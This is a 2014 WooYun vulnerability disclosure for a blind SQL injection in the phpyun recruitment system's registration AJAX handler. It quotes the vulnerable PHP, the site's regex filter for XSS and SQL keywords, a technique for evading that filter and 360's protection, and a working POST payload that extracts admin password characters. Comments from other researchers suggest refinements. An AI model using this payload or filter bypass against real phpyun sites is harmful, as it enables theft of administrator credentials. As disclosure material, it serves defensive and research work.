当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2014-68400

漏洞标题: phpyun注射绕过360防护

相关厂商: php云人才系统

漏洞作者: Noxxx

提交时间: 2014-07-14 21:46

公开时间: 2014-10-12 21:48

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

5人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-14: 细节已通知厂商并且等待厂商处理中
2014-07-15: 厂商已经确认,细节仅向厂商公开
2014-07-18: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-08: 细节向核心白帽子及相关领域专家公开
2014-09-18: 细节向普通白帽子公开
2014-09-28: 细节向实习白帽子公开
2014-10-12: 细节向公众公开

简要描述:

注射

详细说明:

注册时检测会员是否使用问题



model\register.class.php

23 行



code 区域
function ajax_reg_action(){
$post = array_keys($_POST);
$key_name = $post[0];
if($key_name=="username"){
$username=@iconv("utf-8","gbk",$_POST['username']);

if($this->config['sy_uc_type']=="uc_center"){
$this->obj->uc_open();
$user = uc_get_user($username);
}else{
$user = $this->obj->DB_select_once("member","`username`='".$username."'");
}
if($this->config['sy_regname']!=""){
$regname=@explode(",",$this->config['sy_regname']);
if(in_array($username,$regname)){
echo 2;die;
}
}
}else{

#$key_name可控 带入查询 .
$user = $this->obj->DB_select_once("member","`".$key_name."`='".$_POST[$key_name]."'");
}
if(is_array($user)){echo 1;}else{echo 0;}
}









没有回显只能盲注了.



里面有个全局过滤和360的 360的白名单就行了 全局过滤还是比较坑的

db.safety.php



$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";



只要检测文本不连续出现关键词就通过了

底下还有一个过滤值的,不过也没关键词.



exp:**.**.**.**/phpyun/?m=register&c=ajax_reg&admin_dir=admin

(POST)

uid`%26%26(SELECT(MID(password,1,1)%3D'1')FROM/**=**/phpyun_admin_user)%23 (会员表里有数据就行 )



成功返回1

失败返回0

1.jpg

漏洞证明:

0.jpg

修复方案:

过滤

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-07-15 22:24

厂商回复:

感谢您的提供,我们会尽快修复!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
0%
100%
0%
0%
0%

评价

  1. 2014-10-17 16:47 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)
    1

    想法确实不错,赞一个吧!不过楼主,貌似这测试语句有点问题。单引号还是会被转义的。换成16进制会比较好!!!!

  2. 2014-10-17 18:45 | Noxxx ( 普通白帽子 | Rank:700 漏洞数:55 )
    0

    @hkAssassin 嗯,确实,GPC=on会有影响 最好还是你说的这样

  3. 2015-08-06 22:58 | 0c0c0f ( 实习白帽子 | Rank:50 漏洞数:16 | My H34rt c4n 3xploit 4ny h0les!)
    0

    @hkAssassin 毛毛虫,现在gpc off了。

  4. 2015-08-07 00:24 | 0c0c0f ( 实习白帽子 | Rank:50 漏洞数:16 | My H34rt c4n 3xploit 4ny h0les!)
    0

    @Noxxx 洞主这个是哪个版本?

登录后才能发表评论,请先 登录